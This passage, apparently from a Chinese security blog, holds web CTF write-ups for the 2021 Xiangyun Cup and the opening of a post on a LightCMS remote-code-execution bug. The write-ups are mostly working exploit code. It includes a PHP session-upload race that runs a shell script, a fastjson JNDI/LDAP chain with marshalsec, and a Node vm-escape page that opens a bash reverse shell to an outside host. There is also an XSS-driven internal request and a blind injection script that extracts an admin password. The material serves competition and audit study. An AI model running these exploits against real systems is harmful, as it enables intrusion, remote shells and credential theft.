class="line"><span class="keyword">from</span> multiprocessing.dummy <span class="keyword">import</span> Pool <span class="keyword">as</span> ThreadPool</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://eci-2zefzyj8kapji8067alv.cloudeci1.ichunqiu.com/&quot;</span></span><br><span class="line">session = requests.Session()</span><br><span class="line"></span><br><span class="line"><span class="comment"># proxies = &#123;&#x27;http&#x27;: &#x27;http://127.0.0.1:8080&#x27;&#125;</span></span><br><span class="line">proxies = &#123;&#125;</span><br><span class="line"></span><br><span class="line">rawBody = json.dumps(&#123;<span class="string">&#x27;username&#x27;</span>: <span class="string">&#x27;gmla&#x27;</span>, <span class="string">&#x27;password&#x27;</span>: <span class="string">&#x27;gml&#x27;</span>&#125;)</span><br><span class="line">headers = &#123;<span class="string">&quot;Origin&quot;</span>: url, <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;*/*&quot;</span>,</span><br><span class="line">           <span class="string">&quot;X-Requested-With&quot;</span>: <span class="string">&quot;XMLHttpRequest&quot;</span>,</span><br><span class="line">           <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36&quot;</span>,</span><br><span class="line">           <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://eci-2zef0qsx7zblq9rh24yv.cloudeci1.ichunqiu.com//login.php&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">           <span class="string">&quot;Accept-Encoding&quot;</span>: <span class="string">&quot;gzip, deflate&quot;</span>, <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>,</span><br><span class="line">           <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/json; charset=UTF-8&quot;</span>&#125;</span><br><span class="line">response = session.post(url + <span class="string">&#x27;/login.php&#x27;</span>, data=rawBody, headers=headers, proxies=proxies)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">runner1</span>(<span class="params">i</span>):</span></span><br><span class="line">    proxies = &#123;&#125;</span><br><span class="line">    <span class="comment"># proxies = &#123;&#x27;http&#x27;: &#x27;http://127.0.0.1:8080&#x27;&#125;</span></span><br><span class="line">    paramsPost = &#123;<span class="string">&quot;PHP_SESSION_UPLOAD_PROGRESS&quot;</span>: <span class="string">&#x27;gml666&lt;?php system(&quot;/getflag.sh&quot;);?&gt;&#x27;</span>&#125;</span><br><span class="line">    paramsMultipart = [(<span class="string">&#x27;f&#x27;</span>, (<span class="string">&#x27;f&#x27;</span>, <span class="string">&#x27;a&#x27;</span> * <span class="number">40000</span>, <span class="string">&#x27;application/octet-stream&#x27;</span>))]</span><br><span class="line">    cookies = &#123;<span class="string">&quot;PHPSESSID&quot;</span>: <span class="string">&quot;444&quot;</span>&#125;</span><br><span class="line">    response = requests.post(url, data=paramsPost, files=paramsMultipart, cookies=cookies, proxies=proxies)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">runner2</span>(<span class="params">i</span>):</span></span><br><span class="line">    filename = <span class="string">&#x27;/tmp/sess_444&#x27;</span></span><br><span class="line">    <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">        session.post(url + <span class="string">&quot;/check2.php&quot;</span>, data=&#123;<span class="string">&#x27;url1&#x27;</span>: <span class="string">&#x27;http://127.0.0.1:80/admin/include123.php?u=&#x27;</span> + filename&#125;,</span><br><span class="line">                     proxies=proxies)</span><br><span class="line">        response = session.get(url + <span class="string">&#x27;/preview.php&#x27;</span>, proxies=&#123;<span class="string">&#x27;http&#x27;</span>: <span class="string">&#x27;http://127.0.0.1:8080&#x27;</span>&#125;)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;gml666&quot;</span> <span class="keyword">in</span> response.content:</span><br><span class="line">            <span class="built_in">print</span> <span class="string">&quot;success!&quot;</span></span><br><span class="line">            <span class="built_in">print</span> response.content</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> sys.argv[<span class="number">1</span>] == <span class="string">&#x27;1&#x27;</span>:</span><br><span class="line">    runner = runner1</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    runner = runner2</span><br><span class="line"></span><br><span class="line">pool = ThreadPool(<span class="number">32</span>)</span><br><span class="line">result = pool.map_async(runner, <span class="built_in">range</span>(<span class="number">1000000</span>)).get(<span class="number">0xffff</span>)</span><br></pre></td></tr></table></figure><h2 id="层层穿透"><a href="#层层穿透" class="headerlink" title="层层穿透"></a>层层穿透</h2><p>第一层参考<a href="https://www.hacking8.com/bug-product/Apache-Flink/Apache-Flink-Dashboard-未授权访问-远程代码命令执行.html">https://www.hacking8.com/bug-product/Apache-Flink/Apache-Flink-Dashboard-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.html</a>，直接上传个msf的马就有meterpreter了。</p><p><img src="/2021/08/22/2021-xiangyuncup/image-20210822203636530.png" alt="image-20210822203636530"></p><p>10.10.1.11:8080有个web服务，题目给了源码，应该就是这个服务。</p><p><img src="/2021/08/22/2021-xiangyuncup/image-20210822203749893.png" alt="image-20210822203749893"></p><p>fastjson 1.2.24 反序列化，过滤了<code>JdbcRowSetImpl</code>和<code>TemplatesImpl</code>，以及<code>\x</code>,<code>\u</code>。尝试使用别的类。</p><p>最终参考<a href="https://www.mi1k7ea.com/2021/02/08/Fastjson%E7%B3%BB%E5%88%97%E5%85%AD%E2%80%94%E2%80%941-2-48-1-2-68%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/">https://www.mi1k7ea.com/2021/02/08/Fastjson%E7%B3%BB%E5%88%97%E5%85%AD%E2%80%94%E2%80%941-2-48-1-2-68%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/</a>，使用<code>org.apache.shiro.realm.jndi.JndiRealmFactory</code>。</p><p>payload长度需要大于等于20000，加一些没用的字符就行了。使用nps搭建代理，请求：</p><p><img src="/2021/08/22/2021-xiangyuncup/image-20210822204113435.png" alt="image-20210822204113435"></p><p> 启动ldap：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer &quot;http:&#x2F;&#x2F;vps:5555&#x2F;#Exploit&quot; 9999</span><br></pre></td></tr></table></figure><p><img src="/2021/08/22/2021-xiangyuncup/image-20210822204217086.png" alt="image-20210822204217086"></p><p>反弹到shell：</p><p><img src="/2021/08/22/2021-xiangyuncup/image-20210822204238245.png" alt="image-20210822204238245"></p><h2 id="crawler-z"><a href="#crawler-z" class="headerlink" title="crawler_z"></a>crawler_z</h2><p>token可以生成之后先不使用（不verfiy），生成token后先更新url为我们的url，再verfiy，这样可以让爬虫来请求我们的网页。</p><p>Vps上web目录创建一个目录名为df101d5f2909f5c05a200e0e2e6b053a.oss-cn-beijing.ichunqiu.com，就可以让服务器来请求到我们指定的内容。url为 <a href="http://vps/df101d5f2909f5c05a200e0e2e6b053a.oss-cn-beijing.ichunqiu.com/exp.html">http://vps/df101d5f2909f5c05a200e0e2e6b053a.oss-cn-beijing.ichunqiu.com/exp.html</a>。</p><p>zombie解析js时，注意到 require了vm：</p><p><img src="/2021/08/22/2021-xiangyuncup/image-20210822201913335.png" alt="image-20210822201913335"></p><p>用vm逃逸的payload可以rce。</p><p>vps的html为：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="javascript"><span class="keyword">const</span> process = <span class="built_in">this</span>.constructor.constructor(<span class="string">&#x27;return this.process&#x27;</span>)();</span></span><br><span class="line"><span class="javascript">process.mainModule.require(<span class="string">&#x27;child_process&#x27;</span>).exec(<span class="string">&#x27;bash -c &quot;bash -i &gt;&amp; /dev/tcp/xxx/1235 0&gt;&amp;1&quot;&#x27;</span>);</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>请求的exp：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://eci-2zedkd2t5zhfm6oq17bu.cloudeci1.ichunqiu.com:8888&quot;</span></span><br><span class="line">session = requests.Session()</span><br><span class="line"><span class="comment"># proxies = &#123;&#x27;http&#x27;: &#x27;http://127.0.0.1:8080&#x27;&#125;</span></span><br><span class="line">proxies = &#123;&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">login</span>():</span></span><br><span class="line">    paramsPost = &#123;<span class="string">&quot;password&quot;</span>: <span class="string">&quot;gml&quot;</span>, <span class="string">&quot;username&quot;</span>: <span class="string">&quot;gml&quot;</span>&#125;</span><br><span class="line">    headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://eci-2zefjnsex5f9gb25l314.cloudeci1.ichunqiu.com:8888&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Cache-Control&quot;</span>: <span class="string">&quot;max-age=0&quot;</span>, <span class="string">&quot;Upgrade-Insecure-Requests&quot;</span>: <span class="string">&quot;1&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://eci-2zefjnsex5f9gb25l314.cloudeci1.ichunqiu.com:8888/signin&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept-Encoding&quot;</span>: <span class="string">&quot;gzip, deflate&quot;</span>, <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded&quot;</span>&#125;</span><br><span class="line">    response = session.post(url + <span class="string">&quot;/signin&quot;</span>, data=paramsPost,</span><br><span class="line">                            headers=headers, proxies=proxies)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_token</span>():</span></span><br><span class="line">    paramsPost = &#123;<span class="string">&quot;bucket&quot;</span>: <span class="string">&quot;https://4653639b575bee89f70fbb0f1b6b721f.oss-cn-beijing.ichunqiu.com/&quot;</span>,</span><br><span class="line">                  <span class="string">&quot;affiliation&quot;</span>: <span class="string">&quot;22&quot;</span>,</span><br><span class="line">                  <span class="string">&quot;age&quot;</span>: <span class="string">&quot;22&quot;</span>&#125;</span><br><span class="line">    headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://eci-2zefjnsex5f9gb25l314.cloudeci1.ichunqiu.com:8888&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Cache-Control&quot;</span>: <span class="string">&quot;max-age=0&quot;</span>, <span class="string">&quot;Upgrade-Insecure-Requests&quot;</span>: <span class="string">&quot;1&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://eci-2zefjnsex5f9gb25l314.cloudeci1.ichunqiu.com:8888/user/profile&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept-Encoding&quot;</span>: <span class="string">&quot;gzip, deflate&quot;</span>, <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded&quot;</span>&#125;</span><br><span class="line">    response = session.post(url + <span class="string">&quot;/user/profile&quot;</span>, data=paramsPost, headers=headers, allow_redirects=<span class="literal">False</span>,</span><br><span class="line">                            proxies=proxies)</span><br><span class="line">    content = response.content</span><br><span class="line">    index = content.find(<span class="string">&quot;token=&quot;</span>) + <span class="number">6</span></span><br><span class="line">    <span class="keyword">return</span> content[index:index + <span class="number">64</span>]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">req_own_url</span>(<span class="params">own_url, token</span>):</span></span><br><span class="line">    paramsPost = &#123;<span class="string">&quot;bucket&quot;</span>: own_url,</span><br><span class="line">                  <span class="string">&quot;affiliation&quot;</span>: <span class="string">&quot;22&quot;</span>,</span><br><span class="line">                  <span class="string">&quot;age&quot;</span>: <span class="string">&quot;22&quot;</span>&#125;</span><br><span class="line">    headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://eci-2zefjnsex5f9gb25l314.cloudeci1.ichunqiu.com:8888&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Cache-Control&quot;</span>: <span class="string">&quot;max-age=0&quot;</span>, <span class="string">&quot;Upgrade-Insecure-Requests&quot;</span>: <span class="string">&quot;1&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://eci-2zefjnsex5f9gb25l314.cloudeci1.ichunqiu.com:8888/user/profile&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept-Encoding&quot;</span>: <span class="string">&quot;gzip, deflate&quot;</span>, <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded&quot;</span>&#125;</span><br><span class="line">    response = session.post(url + <span class="string">&quot;/user/profile&quot;</span>, data=paramsPost, headers=headers, allow_redirects=<span class="literal">False</span>,</span><br><span class="line">                            proxies=proxies)</span><br><span class="line">    session.get(url + <span class="string">&quot;/user/verify?token=&quot;</span> + token, proxies=proxies)</span><br><span class="line">    session.get(url + <span class="string">&quot;/user/bucket&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">login()</span><br><span class="line">token = get_token()</span><br><span class="line">req_own_url(<span class="string">&quot;http://vps/df101d5f2909f5c05a200e0e2e6b053a.oss-cn-beijing.ichunqiu.com/exp.html&quot;</span>, token)</span><br></pre></td></tr></table></figure><p><img src="/2021/08/22/2021-xiangyuncup/image-20210822202803001.png" alt="image-20210822202803001"></p><h2 id="Secrets-Of-Admin"><a href="#Secrets-Of-Admin" class="headerlink" title="Secrets_Of_Admin"></a>Secrets_Of_Admin</h2><p>源码里找到用户名密码：admin/e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645 可以登陆。<br>目标应该是通过/api/files 这个接口插入一条username=admin filename=flag 的记录，然后可以下载到flag文件。</p><p>猜测大概率利用html-pdf这个库渲染的时候来去构造请求，请求 /api/files 这个接口。但是有过滤，过滤了尖括号，斜杠这些。测试发现数组可以绕过过滤。</p><p>注意到flag字段是 unique的，所以不能插入flag：</p><p><img src="/2021/08/22/2021-xiangyuncup/image-20210822203027700.png" alt="image-20210822203027700"></p><p>因为后面读文件用的是<code>path.join(__dirname , &quot;../files/&quot;, filename)</code> ，所以可以插入一个 ./flag 绕过。</p><p>content为：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"><span class="keyword">var</span> xhr=<span class="keyword">new</span> XMLHttpRequest();url=<span class="string">&#x27;http://127.0.0.1:8888/api/files?username=admin&amp;filename=./flag&amp;checksum=be5a14a8e504a66979f6938338b0662c&#x27;</span>;xhr.open(<span class="string">&quot;GET&quot;</span>,url,<span class="literal">true</span>);xhr.send();</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p><img src="/2021/08/22/2021-xiangyuncup/image-20210822203143765.png" alt="image-20210822203143765"></p><p>访问<a href="http://eci-2zedk1cbvvah2lkdjevj.cloudeci1.ichunqiu.com:8888/api/files/be5a14a8e504a66979f6938338b0662c">http://eci-2zedk1cbvvah2lkdjevj.cloudeci1.ichunqiu.com:8888/api/files/be5a14a8e504a66979f6938338b0662c</a> 可以下载到flag。</p><h2 id="packagemanager"><a href="#packagemanager" class="headerlink" title="packagemanager"></a>packagemanager</h2><p>auth那里存在注入：</p><p><img src="/2021/08/22/2021-xiangyuncup/image-20210822203339407.png" alt="image-20210822203339407"></p><p>直接拼接，这里出题人本意应该是构造永真条件登陆，但是这里可以注入出admin的密码，应该是非预期。</p><p>payload：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">4054f0d389481b5d2d1695267d22f9f8&quot;||this.username &#x3D;&#x3D; &quot;admin&quot;&amp;&amp;this.password[0]&#x3D;&#x3D;&quot;b&#39;</span><br></pre></td></tr></table></figure><p>Exp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">session = requests.Session()</span><br><span class="line"></span><br><span class="line"><span class="comment"># proxies = &#123;&#x27;http&#x27;: &#x27;http://127.0.0.1:8080&#x27;&#125;</span></span><br><span class="line">proxies = &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">req</span>(<span class="params">token</span>):</span></span><br><span class="line">    <span class="comment"># token = &#x27;4054f0d389481b5d2d1695267d22f9f8&quot;||this.username == &quot;admin&quot;&amp;&amp;this.password[0]==&quot;b&#x27;</span></span><br><span class="line"></span><br><span class="line">    paramsPost = &#123;<span class="string">&quot;_csrf&quot;</span>: <span class="string">&quot;BGrMGSNa-mNAB8YJ0iXTgG9w-zioJNdJr8i0&quot;</span>,</span><br><span class="line">                  <span class="string">&quot;token&quot;</span>: token&#125;</span><br><span class="line">    headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://47.104.108.80:8888&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Cache-Control&quot;</span>: <span class="string">&quot;max-age=0&quot;</span>, <span class="string">&quot;Upgrade-Insecure-Requests&quot;</span>: <span class="string">&quot;1&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://47.104.108.80:8888/auth&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>, <span class="string">&quot;Accept-Encoding&quot;</span>: <span class="string">&quot;gzip, deflate&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>, <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded&quot;</span>&#125;</span><br><span class="line">    cookies = &#123;<span class="string">&quot;session&quot;</span>: <span class="string">&quot;s%3A_FtDGMZ8FKBr-aGu5R_rY30TJXsnCYYh.fg%2FRDok91jF43jkG%2BqD3weiOFQgsus3kg%2BUSm5iInzU&quot;</span>&#125;</span><br><span class="line">    response = requests.post(<span class="string">&quot;http://47.104.108.80:8888/auth&quot;</span>, data=paramsPost, headers=headers, cookies=cookies,</span><br><span class="line">                             proxies=proxies, allow_redirects=<span class="literal">False</span>)</span><br><span class="line">    <span class="comment"># print response.content</span></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;Redirecting&quot;</span> <span class="keyword">in</span> response.content:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exp</span>():</span></span><br><span class="line">    ss = <span class="built_in">list</span>(string.printable)</span><br><span class="line">    ss.remove(<span class="string">&#x27;&quot;&#x27;</span>)</span><br><span class="line">    data = <span class="string">&quot;&quot;</span></span><br><span class="line">    tem = <span class="string">&#x27;4054f0d389481b5d2d1695267d22f9f8&quot;||this.username == &quot;admin&quot;&amp;&amp;this.password[%s]==&quot;%s&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">100</span>):</span><br><span class="line">        flag = <span class="literal">False</span></span><br><span class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> ss:</span><br><span class="line">            payload = tem % (i, c)</span><br><span class="line">            <span class="keyword">if</span> req(payload):</span><br><span class="line">                data += c</span><br><span class="line">                <span class="built_in">print</span> data</span><br><span class="line">                flag = <span class="literal">True</span></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> flag:</span><br><span class="line">            <span class="built_in">print</span> <span class="string">&quot;fail!&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">test</span>():</span></span><br><span class="line">    <span class="built_in">print</span> req(<span class="string">&#x27;4054f0d389481b5d2d1695267d22f9f8&quot;||this.username == &quot;admin&quot;&amp;&amp;this.password[0]==&quot;b&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># test()</span></span><br><span class="line">exp()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>注入出密码是<code>b!@#$d5dh47jyfz#098crw*w</code>，admin登陆进去就有flag。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;2021 祥云杯初赛 Web 题解。&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/categories/CTF/Web/"/>
    
    <category term="wp" scheme="https://igml.top/categories/CTF/Web/wp/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/tags/Web/"/>
    
    <category term="wp" scheme="https://igml.top/tags/wp/"/>
    
  </entry>
  
  <entry>
    <title>lightcms后台RCE漏洞挖掘</title>
    <link href="https://igml.top/2021/05/10/lightcms-RCE/"/>
    <id>https://igml.top/2021/05/10/lightcms-RCE/</id>
    <published>2021-05-09T16:05:33.000Z</published>
    <updated>2021-05-11T13:46:58.115Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>之前为了熟悉下 laravel，找了个基于 laravel 开发的 cms 审计练练手，瞄准了 lightcms。</p><p>先是挖到了一个比较简单的任意文件读取&amp;RCE漏洞，提了issue被修复后又简单审计了一波，挖掘到了一个有意思的RCE，感觉很适合 CTF，就拿来出题了，被用做了今年红帽杯的初赛。很遗憾由于放出题目时间较晚+很多dalao去打津门杯了，这道题只有两个队伍解出。</p><p>题目环境链接：<a href="https://github.com/gml-sec/My-CTF-Challenges/tree/main/2021-Redhat-ezlight">https://github.com/gml-sec/My-CTF-Challenges/tree/main/2021-Redhat-ezlight</a>。</p><a id="more"></a><p>关于lightcms的简单介绍：</p><blockquote><p><code>lightCMS</code>是一个轻量级的<code>CMS</code>系统，也可以作为一个通用的后台管理框架使用。<code>lightCMS</code>集成了用户管理、权限管理、日志管理、菜单管理等后台管理框架的通用功能，同时也提供模型管理、分类管理等<code>CMS</code>系统中常用的功能。</p></blockquote><p>github地址：<a href="https://github.com/eddy8/LightCMS">https://github.com/eddy8/LightCMS</a></p><h2 id="v1-3-5-任意文件读取-amp-RCE漏洞"><a href="#v1-3-5-任意文件读取-amp-RCE漏洞" class="headerlink" title="v1.3.5 任意文件读取&amp;RCE漏洞"></a>v1.3.5 任意文件读取&amp;RCE漏洞</h2><p>这个漏洞出在 <code>app/Http/Controllers/Admin/NEditorController.php</code>中的远程下载图片的功能：</p><p><img src="/2021/05/10/lightcms-RCE/image-20210510001913866.png" alt="image-20210510001913866"></p><p>这里简单使用了 <code>file_get_contents</code>来获取文件内容，并保存，所以我们可以使用file协议实现任意文件读取等ssrf操作。更危险的是这里的逻辑是取到的文件名后缀是什么，保存的就是什么后缀，所以我们可以放一个php一句话在服务器上，然后来请求，那么我们就可以getshell。</p><p>具体可见<a href="https://github.com/eddy8/LightCMS/issues/19">https://github.com/eddy8/LightCMS/issues/19</a>。</p><h2 id="v1-3-7-RCE漏洞"><a href="#v1-3-7-RCE漏洞" class="headerlink" title="v1.3.7 RCE漏洞"></a>v1.3.7 RCE漏洞</h2><p>提了个issue后，作者也是及时进行了修复，分析下patch的操作，增加了一个 fetchImageFile 函数处理：</p><p><img 